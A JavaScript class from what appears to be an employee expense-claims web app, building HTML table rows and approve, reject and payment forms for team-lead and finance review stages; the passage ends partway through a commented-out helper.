var tempEmpId = "";
var tempSiteVisitDate = "";
var similarRecordsCount = 1;
var currentLoopCondition = false;
class SelectedTabRelatedTableDataValueFields {
	constructor() {
		tempEmpId = "";
		tempSiteVisitDate = "";
		currentLoopCondition = false;
	}

    getClaimStatusIconClass(claimstatus) {
        //changing claiming status icon color
        switch (claimstatus) {
            case Number(CLAIM_IN_EMP_BUCKET): //claim pending
				claimstatus = 'fa fa-check-square text-secondary sticky-column col3 ';
				break;
            case Number(CLAIM_PENDING): //claim pending
                claimstatus = 'fa fa-check-square text-warning sticky-column col3 ';
                break;
            case Number(CLAIM_TL_APPROVED): //ready to approved
                claimstatus = 'fa fa-check-square text-primary sticky-column col3';
                break;
            case Number(CLAIM_TL_REJECTED): //ready to reject
                claimstatus = 'fa fa-times text-danger sticky-column col3';
                break;
            case Number(CLAIM_FINANCE_APPROVED): //ready to Finance Approved
                claimstatus = 'fa fa-check-square text-violate sticky-column col3';
                break;
            case Number(CLAIM_FINANCE_REJECTED): //ready to reject
                claimstatus = 'fa fa-times text-danger sticky-column col3';
                break;
            case Number(CLAIM_PAID):
                claimstatus = 'fa fa-check-square text-success sticky-column col3';
                break;

        }
        return claimstatus;
    }

    createNewTableRowStart(rowValues) {
        	var Td_class = rowValues.empId + "_" + rowValues.date;
		currentLoopCondition = tempEmpId == rowValues.empId && tempSiteVisitDate == rowValues.date;
		return "<tr class='data-content_" + Td_class + "' scop='row'>";
    }
   	createNewTableRowClose(rowValues, forLoopIndex) {
        	tempEmpId = rowValues.empId;
		tempSiteVisitDate = rowValues.date;
		if (rowValues.siteOnOfTheDayVisitCount == similarRecordsCount) {
			similarRecordsCount = 1;
			return "</tr>" + this.createNewTableDataFields_ImageBillsTableRow(rowValues, forLoopIndex);
		} else {
			similarRecordsCount++;
			return "</tr>";
		}
    }

    createNewTableDataFields_CommonUI(rowValues, forLoopIndex) {
        var claimSatus_depend_ui;
		var Td_id = rowValues.empId + "_" + rowValues.date + "_" + forLoopIndex;
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'";
		
		var commonRowFieldsValues;
		switch (currentLoopCondition) {
		    case false:
                commonRowFieldsValues =  "<td class='d-none'>" +
                    "<input  id='serverId_invisible_" + Td_id + "' class='serverId_invisible_" + Td_class + "' " + customAttributes + "  type='number' value='" + rowValues.tesfId + "'/></td>" + // d-none in ui only for backend
                    "<td id='sNo_" + Td_id + "' class='sticky-column td col1 serialNumber sNo_" + Td_class + "' " + customAttributes + ">" + rowValues.sno + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='empId_" + Td_class + "' class='sticky-column col2 border-left' " + customAttributes + ">" + rowValues.empId + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='empName_" + Td_class + "' class='sticky-column col3 border-left' " + customAttributes + ">" + rowValues.empName + "</td>" +
				    "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'  class='sticky-column col5 border-left border-right'><i id='claimStatus_" + Td_class + "' class='" + this.getClaimStatusIconClass(rowValues.claimstatus) + "' " + customAttributes + " data-claimStatus='" + rowValues.claimstatus + "'></i></td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='siteVisitDate_" + Td_class + "' class='sticky-column col6  border-right' " + customAttributes + ">" + rowValues.date + "</td>" +
					"<td>" + rowValues.siteVisitedOrder + "</td>" +
                    "<td>" + rowValues.startingLocationAddress + "</td>" +
                    "<td>" + rowValues.destinationLocationAddress + "</td>" +
                    "<td>" + rowValues.distance + "</td>" +
                    "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='totalDistance_" + Td_class + "' class='border-right border-left' >" + rowValues.totalDistance + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='engineerDeputation_" + Td_class + "'>" + rowValues.engDeputation + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='engineerDaAmount_" + Td_class + "'>" + rowValues.engDAAmount + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='engineerOther_" + Td_class + "'>" + rowValues.engOtherBill + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='engineerHotel_" + Td_class + "'>" + rowValues.engHotelBill + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='engineerTotal_" + Td_class + "'>" + rowValues.engTotalAmount + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='engineerClaimdate_" + Td_class + "' class='border-right'>" + rowValues.claimdate + "</td>";
					break;
			case true:
			    commonRowFieldsValues =  "<td class='d-none'>" +
                    "<input  id='serverId_invisible_" + Td_id + "' class='serverId_invisible_" + Td_class + "' " + customAttributes + "  type='number' value='" + rowValues.tesfId + "'/></td>" + // d-none in ui only for backend
                    "<td id='sNo_" + Td_id + "' class='sticky-column td col1 serialNumber sNo_" + Td_class + "' " + customAttributes + ">" + rowValues.sno + "</td>" +
					"<td>" + rowValues.siteVisitedOrder + "</td>" +
					"<td>" + rowValues.startingLocationAddress + "</td>" +
                    "<td>" + rowValues.destinationLocationAddress + "</td>" +
                    "<td>" + rowValues.distance + "</td>";
			    
		}
        return commonRowFieldsValues;

    }

    createNewTableDataFields_TLNonEditableFields(rowValues, forLoopIndex) {
	    var Td_class = rowValues.empId + "_" + rowValues.date;
        switch (currentLoopCondition) {
			case false:
				var approvedTL;
				if (rowValues.claimstatus == Number(CLAIM_TL_REJECTED)) {
					approvedTL = '';
				} else {
					approvedTL = rowValues.approvedTL;
				}

				var TlNonEditableFields =
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='TLDeputation_" + Td_class + "'>" + rowValues.TLDeputation + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='TLDaAmountTd_" + Td_class + "'>" + rowValues.TLDAAmount + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='TLOtherTd_" + Td_class + "'>" + rowValues.TLOtherBill + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='TLHotelTd_" + Td_class + "'>" + rowValues.TLHotelBill + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='TLTotalTd_" + Td_class + "'>" + rowValues.TLTotalAmount + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='TLDeductedAmountTd_" + Td_class + "'>" + rowValues.tlDeductedAmount + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='TLDeductedReasonTd_" + Td_class + "'>" + rowValues.TLDeductedReason + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='TLApprovedByTd_" + Td_class + "'>" + approvedTL + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='TLApprovedDateTd_" + Td_class + "' class='border-right'>" + rowValues.tlApprovedDate + "</td>";

				return TlNonEditableFields;
		}
    }

    createNewTableDataFields_TLEditableFields(rowValues, forLoopIndex, map) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'";
		var DA_value_AND_DA_amount_selectTag;

		switch (currentLoopCondition) {
			case false:
			    let editDA_BtnClass='';
			    if(rowValues.claimstatus == CLAIM_PENDING){//editable with backupDaAmount
    				if (rowValues.TLDeputation == 'Yes') {
    					DA_value_AND_DA_amount_selectTag = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'><select id='editableDeputation_" + Td_class + "' class='deputationAllowancesDD form-control' " + customAttributes + "><option value='Yes' selected>YES</option><option value='No'>NO</option></select></td>";//class=' editableFieldsInClaimDetails'
    				} else {//NO
    				    editDA_BtnClass='d-none';
    					DA_value_AND_DA_amount_selectTag = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'><select id='editableDeputation_" + Td_class + "' class='deputationAllowancesDD form-control' " + customAttributes + "><option value='Yes'>YES</option><option value='No' selected>NO</option></select></td>";
    				}
    				
                        DA_value_AND_DA_amount_selectTag += "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'><input type='number' id='editableDaAmount_" + Td_class + "' class='DaAmountInputField form-control text-center ' "+customAttributes+" data-initialValue='"+ rowValues.TLDAAmount +"' value='" + rowValues.TLDAAmount + "' disabled/><i id='editDaAmountInputField_" + Td_class + "' class='fa fa-edit pl-1 DA_EditBtn "+editDA_BtnClass+"' "+customAttributes+" data-btn-type='edit'></i></td>";
                        DA_value_AND_DA_amount_selectTag+="<td class='d-none' rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'><input type='number' id='hiddenResetDaAmount_" + Td_class + "' value='" + rowValues.TLDAAmount + "'/></td>";//invisible backupDaAmount
			    }else{// non editable
			        
			        DA_value_AND_DA_amount_selectTag=  "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='editableDeputation_" + Td_class + "' >" + rowValues.TLDeputation + "</td>"+
			                                           "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'><input type='number' id='editableDaAmount_" + Td_class + "' class='DaAmountInputField form-control text-center  border-0 bg-transparent' value='" + rowValues.TLDAAmount + "' disabled/></td>";
			    }
				var TLEditableFields = DA_value_AND_DA_amount_selectTag +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='editableTotalOtherBillAmount_" + Td_class + "' >" + rowValues.TLOtherBill + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='editableTotalHotelBillAmount_" + Td_class + "' >" + rowValues.TLHotelBill + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='editableTotalFinalAmount_" + Td_class + "' class='border-right'>" + rowValues.TLTotalAmount + "</td>";
				map.set("tlDeductedAmount" + Td_class, rowValues.tlDeductedAmount); //get value from Database
				map.set("financeDeductedAmount" + Td_class, rowValues.financeDeductedAmount); //get value from Database
				map.set("beforeDeductingTotalAmount" + Td_class, rowValues.TLTotalAmount); //initial deducted amount will =0;
				return TLEditableFields;
		}

    }


    createNewTableDataFields_FinanceNonEditableFields(rowValues, forLoopIndex) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var claimStatusUpdatedBy;

		switch (currentLoopCondition) {
			case false:
				if (rowValues.claimstatus == Number(CLAIM_TL_REJECTED) || rowValues.claimstatus == Number(CLAIM_FINANCE_REJECTED)) {
					claimStatusUpdatedBy = '';
				} else {
					claimStatusUpdatedBy = rowValues.claimStatusUpdatedBy;
				}

				var FinanceNonEditableFields =
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='financeDeputation_" + Td_class + "' >" + rowValues.financeDeputation + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='financeDaAmount_" + Td_class + "'>" + rowValues.financeDAAmount + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='financeOther_" + Td_class + "' >" + rowValues.financeOtherBill + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='financeHotel_" + Td_class + "' >" + rowValues.financeHotelBill + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='financeTotal_" + Td_class + "' >" + rowValues.financeTotalAmount + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='financeDeductedAmount_" + Td_class + "' >" + rowValues.financeDeductedAmount + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='financeDeductedReason_" + Td_class + "' >" + rowValues.financeDeductedReason + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='claimStatusUpdatedBy_" + Td_class + "' >" + claimStatusUpdatedBy + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='financeClaimUpdateDate_" + Td_class + "' class=' border-right'>" + rowValues.financeApprovedDate + "</td>";


				return FinanceNonEditableFields;
		}
    }


    createNewTableDataFields_FinanceEditableFields(rowValues, forLoopIndex, map) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'";
		var DA_value_AND_DA_amount_selectTag;
		switch (currentLoopCondition) {
			case false:
			     let editDA_BtnClass='';
				if (rowValues.claimstatus == CLAIM_TL_APPROVED) {//editable
				    //editable
				    
					if (rowValues.financeDeputation == 'Yes') {
						DA_value_AND_DA_amount_selectTag = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'><select id='editableDeputation_" + Td_class + "' class='deputationAllowancesDD form-control' " + customAttributes + "><option value='Yes' selected>YES</option><option value='No'>NO</option></select></td>";
					} else {
					    editDA_BtnClass='d-none';
						DA_value_AND_DA_amount_selectTag = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'><select id='editableDeputation_" + Td_class + "' class='deputationAllowancesDD form-control' " + customAttributes + "><option value='Yes'>YES</option><option value='No' selected>NO</option></select></td>";
					}
					DA_value_AND_DA_amount_selectTag+="<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'><input type='number' id='editableDaAmount_" + Td_class + "' class='form-control text-center DaAmountInputField' "+customAttributes+" data-initialValue='"+ rowValues.financeDAAmount +"' value='" + rowValues.financeDAAmount + "' disabled/><i id='editDaAmountInputField_" + Td_class + "' class='fa fa-edit pl-1 DA_EditBtn "+editDA_BtnClass+"' "+customAttributes+" data-btn-type='edit'></i></td>";
					DA_value_AND_DA_amount_selectTag+="<td class='d-none' rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'><input type='number' id='hiddenResetDaAmount_" + Td_class + "' value='" + rowValues.financeDAAmount + "'/></td>";//invisible backupDaAmount
				} else {//non-editable
				    
					DA_value_AND_DA_amount_selectTag = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='editableDeputation_" + Td_class + "' >" + rowValues.financeDeputation + "</td>"+
					                                    "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'><input type='number' id='editableDaAmount_" + Td_class + "' class='DaAmountInputField form-control text-center  border-0 bg-transparent' value='" + rowValues.financeDAAmount + "' disabled/></td>";
				}
				var FinanceEditableFields = DA_value_AND_DA_amount_selectTag +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='editableTotalOtherBillAmount_" + Td_class + "' >" + rowValues.financeOtherBill + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='editableTotalHotelBillAmount_" + Td_class + "' >" + rowValues.financeHotelBill + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='editableTotalFinalAmount_" + Td_class + "' class='border-right'>" + rowValues.financeTotalAmount + "</td>";
				// console.log("#editableDeputation" +Td_class+" select.DA");
				map.set("tlDeductedAmount" + Td_class, rowValues.tlDeductedAmount); //get value from Database
				map.set("financeDeductedAmount" + Td_class, rowValues.financeDeductedAmount); //get value from Database
				map.set("beforeDeductingTotalAmount" + Td_class, rowValues.financeTotalAmount); //initial deducted amount will =0;

				return FinanceEditableFields;
		}
    }



  /*  createNewTableDataFields_ImageButtonUI(rowValues, forLoopIndex) {
        return "<td class='Buttonclosed' id=" + rowValues.empId + forLoopIndex + " rowspan='1'><i class='fa fa-arrow-down' aria-hidden='true'></i></td>";
    }*/
    createNewTableDataFields_ImageButtonUI(rowValues, forLoopIndex) {
	var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "' data-btnStatus='Buttonclosed'";

		switch (currentLoopCondition) {
			case false:
				var noOfImageProofPresent = Number(rowValues.engOtherBill) + Number(rowValues.engHotelBill);
				if (noOfImageProofPresent > 0) {
					return "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='billImagesBtn_" + Td_class + "' class='billImageProofDropdownBtn cursorPointer' " + customAttributes + "  style='background: #c8cfff;'><button class='border-0 bg-transparent'  style='outline:0 !important'><i class='fa fa-arrow-down' aria-hidden='true'></i></button></td>";
				} else {
					return "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' class='noImages' >0</td>";
				}

		}

    }

    createNewTableDataFields_TotalDeductedAmountUI(rowValues) {
      var Td_class = rowValues.empId + "_" + rowValues.date;
	  switch (currentLoopCondition) {
			case false:
				return "<td  rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'  id='totalDeductedAmount_" + Td_class + "'>" + rowValues.totalDeductedAmount + "</td>";
		}
    }

	createNewTableDataFields_TL_ReasonButtonUI(rowValues, forLoopIndex) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'";
		switch (currentLoopCondition) {
			case false:
				if (rowValues.claimstatus == CLAIM_PENDING) {
					return "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='reasonWritingBtn_" + Td_class + "' class='reasonPopupBtn' " + customAttributes + "><i class='fa fa-comment' style='color:var(--theme-color);font-size:20px' data-toggle='resonPopover' " + customAttributes + "></i></td>";
				} else {
					return "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'>--</td> "
				}

		}

	}
	
	createNewTableDataFields_TL_ReasonButtonUI_In_TL_approve_Tab(rowValues, forLoopIndex){
	    var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'";
		switch(currentLoopCondition){
		    case false:
		        return "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='reasonWritingBtn_" + Td_class + "' class='reasonPopupBtn' " + customAttributes + "><i class='fa fa-comment' style='color:var(--theme-color);font-size:20px' data-toggle='resonPopover' " + customAttributes + "></i></td>";
		    
		}
	}
		
	createNewTableDataFields_Finance_ReasonButtonUI(rowValues, forLoopIndex) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'";
		switch (currentLoopCondition) {
			case false:
				if (rowValues.claimstatus == CLAIM_TL_APPROVED) {
					return "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='reasonWritingBtn_" + Td_class + "' class='reasonPopupBtn' " + customAttributes + "><i class='fa fa-comment' style='color:var(--theme-color);font-size:20px' data-toggle='resonPopover' " + customAttributes + "></i></td>";
				} else {
					return "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'>--</td> "
				}
		}

	}

    createNewTableDataFields_RejectReasonAndDateAndRejectedByUI(rowValues, forLoopIndex) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		switch (currentLoopCondition) {
			case false:
				var RejectReasonAndDate = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='reasonContent_" + Td_class + "' class='pl-2'>" + rowValues.rejectReason + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='tlOrFinanceRejectedDate_" + Td_class + "' class='pl-2'>" + rowValues.tlOrFinanceRejectedDate + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='claimStatusUpdatedBy_" + Td_class + "'>" + rowValues.claimStatusUpdatedBy + "</td>";

				return RejectReasonAndDate;
		}
    }

    createNewTableDataFieds_NewClaimsReportUi(rowValues, forLoopIndex) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "' data-claimStatus='"+rowValues.claimstatus+"'";
		var reportTd;
		switch (currentLoopCondition) {
			case false:
				if (rowValues.claimstatus == CLAIM_PENDING) {
					reportTd = "<td  rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'>" +
						"<form id='reportSubmittingForm" + Td_class + "' class='reportSubmittingForm mb-0' " + customAttributes + " style='width: 280px;'>" +
						"<div class='approveBtnDiv form-check form-check-inline align-middle'>" +
						"<input class='form-check-input approve' type='radio' name='inlineRadioOptions'  id='approveRadioBtn_" + Td_class + "' required value='2' " + customAttributes + ">" +
						"<label class='form-check-label' for='approveRadioBtn_" + Td_class + "'>APPROVE</label></div>" +
						"<div class='rejectBtnDiv form-check form-check-inline align-middle'>" +
						"<input class='form-check-input reject' type='radio'  name='inlineRadioOptions'  id='rejectRadioBtn_" + Td_class + "' value='3' " + customAttributes + ">" +
						"<label class='form-check-label' for='rejectRadioBtn_" + Td_class + "'>REJECT</label></div>" +
						"<button id='reportSubmissionBtn_" + Td_class + "' type='submit' class='btn btn-theme-type1' style='font-size:12px;'><i class='fa d-none fa-spinner fa-spin mr-2'></i>Submit</button>" +
						"<p id='reasonPara_" + Td_class + "' class='text-center font-weight-normal' name='rejectResonNm'></p>" +
						"</form>" +
						"</td>";
				} else {
					reportTd = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'>--</td>";
				}
				return reportTd;
		}

    }
    createNewTableDataFields_FinanceDepartmentTLApprovedClaimsReport(rowValues, forLoopIndex) {
		var reportTd;
		switch (currentLoopCondition) {
			case false:
				if (rowValues.claimstatus == CLAIM_TL_APPROVED) {
					reportTd = this.TLApprove_ClaimsReportTableData(rowValues, forLoopIndex);
				} else {
					reportTd = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' >--</td>";
				}
				return reportTd;
		}
    }
    createNewTableDataFields_PendingPaymentsClaimsReport(rowValues, forLoopIndex) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'  data-claimStatus='"+rowValues.claimstatus+"'";
		switch (currentLoopCondition) {
			case false:
				var PendingPaymentClaimsReport = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'>" +
					"<form id='reportSubmittingForm" + Td_class + "' class='reportSubmittingForm mb-0 m-auto' " + customAttributes + "  style='width: 225px;'>" +
    					"<div class='paidBtnDiv form-check form-check-inline align-middle'>" +
    					    "<input class='form-check-input paid' type='radio'  name='inlineRadioOptions' id='paidRadioBtn_" + Td_class + "' required value='6'  " + customAttributes + ">" +
    					    "<label class='form-check-label' for='paidRadioBtn_" + Td_class + "'>PAID</label>"+
    					"</div>" +
    					"<div class='undoBtnDiv form-check form-check-inline align-middle'>" +
        					"<input class='form-check-input undo' type='radio'  name='inlineRadioOptions' id='undoRadioBtn_" + Td_class + "' required value='0'  " + customAttributes + ">" +
        					"<label class='form-check-label' for='undoRadioBtn_" + Td_class + "'>UNDO</label>"+
        				"</div>" +
    					"<button id='reportSubmissionBtn_" + Td_class + "' type='submit' class='btn btn-theme-type1' style='font-size:12px;'><i class='fa d-none fa-spinner fa-spin mr-2'></i>Submit</button>" +
    					"<p id='reasonPara_" + Td_class + "' class='text-center font-weight-normal' name='rejectResonNm'></p>" +
					"</form>" +
					"</td>";
				return PendingPaymentClaimsReport;
		}
    }
    
    	TLUndo_ClaimsReportTableData(rowValues, forLoopIndex){
    	   	let Td_class = rowValues.empId + "_" + rowValues.date;
    		let customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'  data-claimStatus='"+rowValues.claimstatus+"'";
    		switch (currentLoopCondition) {
    	        case false:
    	            var TLUndoClaimsReport ="<td rowspan='"+ rowValues.siteOnOfTheDayVisitCount+"'>"+
    	                "<form id='reportSubmittingForm"+ Td_class+"' class='reportSubmittingForm mb-0 m-auto' "+ customAttributes +" style='width: 225px'>"+
    	                  	"<div class='undoBtnDiv form-check form-check-inline align-middle'>" +
            					"<input class='form-check-input undo selectAllApprove_radioBtn' type='radio'  name='inlineRadioOptions' id='undoRadioBtn_" + Td_class + "' required value='0'  " + customAttributes + ">" +
            					"<label class='form-check-label' for='undoRadioBtn_" + Td_class + "'>UNDO</label></div>" +
            				"<div class='rejectBtnDiv form-check form-check-inline align-middle'>" +
    					        "<input class='form-check-input reject' type='radio'  name='inlineRadioOptions'  id='financeRejectRadioBtn_" + Td_class + "' value='3'  " + customAttributes + ">" +
    					        "<label class='form-check-label' for='financeRejectRadioBtn_" + Td_class + "'>REJECT</label></div>" +
    	               	    "<button id='reportSubmissionBtn_" + Td_class + "' type='submit' class='btn btn-theme-type1 selectAll_reportSubmissionBtn' style='font-size:12px;'><i class='fa d-none fa-spinner fa-spin mr-2'></i>Submit</button>" +
        					"<p id='reasonPara_" + Td_class + "' class='text-center font-weight-normal' name='rejectResonNm'></p>" +
    					"</form>" +
    	            "</td>";
    	            return TLUndoClaimsReport;
    	        
    	    }
	}

    createNewTabDateFields_CompletePaymentRelatedUi(rowValues, forLoopIndex) {
     	var Td_class = rowValues.empId + "_" + rowValues.date;
		switch (currentLoopCondition) {
			case false:
				return "<td  rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='paidTotal_" + Td_class + "'>" + rowValues.financeTotalAmount + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='paidDate_" + Td_class + "'>" + rowValues.paidDate + "</td>" +
					"<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "' id='paidByTd_" + Td_class + "'>" + rowValues.paidBy + "</td>";
		}
    }


    createNewTableDataFields_ImageBillsTableRow(rowValues, forLoopIndex) {
	var Td_class = rowValues.empId + "_" + rowValues.date;
		return "<tr class='image-content_" + Td_class + "'>" + //empty row for every table-row to store bill-image-proofs
			"<td class='imageBillsDropDownTableRow' colspan='53' style='padding:0; border:0'>" +
			"<div id='imageBillsContainerDiv_" + Td_class + "' class='d-flex float-right justify-content-center' style='width:100vw;'>" +
			"</div>" +
			"</td>" +
			"</tr>";
        
    }
    
    
    	TLApprove_ClaimsReportTableData(rowValues, forLoopIndex) {
		var Td_class = rowValues.empId + "_" + rowValues.date;
		var customAttributes = "data-common-id='" + Td_class + "' data-index='" + forLoopIndex + "'  data-claimStatus='"+rowValues.claimstatus+"'";
		switch (currentLoopCondition) {
			case false:
				var TLApprovedClaimsReport = "<td rowspan='" + rowValues.siteOnOfTheDayVisitCount + "'>" +
					"<form id='reportSubmittingForm" + Td_class + "' class='reportSubmittingForm mb-0 m-auto' " + customAttributes + "  style='width: 310px;'>" +
					"<div class='financeApprovedBtnDiv form-check form-check-inline align-middle'>" +
					"<input class='form-check-input financeApproved' type='radio'  name='inlineRadioOptions' id='financeApproveRadio_" + Td_class + "' required value='4'  " + customAttributes + ">" +
					"<label class='form-check-label' for='financeApproveRadio_" + Td_class + "'>FINANCE APPROVE</label></div>" +
					"<div class='rejectBtnDiv form-check form-check-inline align-middle'>" +
					"<input class='form-check-input reject' type='radio'  name='inlineRadioOptions'  id='financeRejectRadioBtn_" + Td_class + "' value='5'  " + customAttributes + ">" +
					"<label class='form-check-label' for='financeRejectRadioBtn_" + Td_class + "'>REJECT</label></div>" +
					"<button id='reportSubmissionBtn_" + Td_class + "' type='submit' class='btn btn-theme-type1' style='font-size:12px;'><i class='fa d-none fa-spinner fa-spin mr-2'></i>Submit</button>" +
					"<p id='reasonPara_" + Td_class + "' class='text-center font-weight-normal' name='rejectResonNm'></p>" +
					"</form>" +
					"</td>";

				return TLApprovedClaimsReport;
		}
	}
    
    /*removeRowsToMergeRows(empId, forLoopIndex) {

        //removing row to merge cells
        $("#empIdTd" + empId + forLoopIndex).remove();
        $("#empNameTd" + empId + forLoopIndex).remove();
        $("#claimStatusTd" + empId + forLoopIndex).remove();
        $("#dateTd" + empId + forLoopIndex).remove();
        $("#totalDistanceTd" + empId + forLoopIndex).remove();

        $("#editableDeputationTd" + empId + forLoopIndex).remove();
        $("#editableDaAmountTd" + empId + forLoopIndex).remove();
        $("#editableOtherTd" + empId + forLoopIndex).remove();
        $("#editableHotelTd" + empId + forLoopIndex).remove();
        $("#editableTotalTd" + empId + forLoopIndex).remove();

        $("#engineerDeputationTd" + empId + forLoopIndex).remove();
        $("#engineerDaAmountTd" + empId + forLoopIndex).remove();
        $("#engineerOtherTd" + empId + forLoopIndex).remove();
        $("#engineerHotelTd" + empId + forLoopIndex).remove();
        $("#engineerTotalTd" + empId + forLoopIndex).remove();
        $("#engineerClaimdateTd" + empId + forLoopIndex).remove();

        $("#TLDeputationTd" + empId + forLoopIndex).remove();
        $("#TLDaAmountTd" + empId + forLoopIndex).remove();
        $("#TLOtherTd" + empId + forLoopIndex).remove();
        $("#TLHotelTd" + empId + forLoopIndex).remove();
        $("#TLTotalTd" + empId + forLoopIndex).remove();
        $("#TLDeductedAmountTd" + empId + forLoopIndex).remove();
        $("#TLDeductedReasonTd" + empId + forLoopIndex).remove();
        $("#TLApprovedByTd" + empId + forLoopIndex).remove();
        $("#TLApprovedDateTd" + empId + forLoopIndex).remove();

        $("#financeDeputationTd" + empId + forLoopIndex).remove();
        $("#financeDaAmountTd" + empId + forLoopIndex).remove();
        $("#financeOtherTd" + empId + forLoopIndex).remove();
        $("#financeHotelTd" + empId + forLoopIndex).remove();
        $("#financeTotalTd" + empId + forLoopIndex).remove();
        $("#financeDeductedAmountTd" + empId + forLoopIndex).remove();
        $("#financeDeductedReasonTd" + empId + forLoopIndex).remove();
        $("#claimStatusUpdatedByTd" + empId + forLoopIndex).remove();
        $("#financeClaimUpdateDateTd" + empId + forLoopIndex).remove();

        $("#reasonbtnTd" + empId + forLoopIndex).remove();
        $(".Buttonclosed#" + empId + forLoopIndex).remove();
        $("#reportTd" + empId + forLoopIndex).remove();

        $("#totalDeductedAmountTd" + empId + forLoopIndex).remove();

        $("#rejectReasonTd" + empId + forLoopIndex).remove();
        $("#tlOrFinanceRejectedDateTd" + empId + forLoopIndex).remove();
        $("#paidDateTd" + empId + forLoopIndex).remove();
        $("#paidByTd" + empId + forLoopIndex).remove();
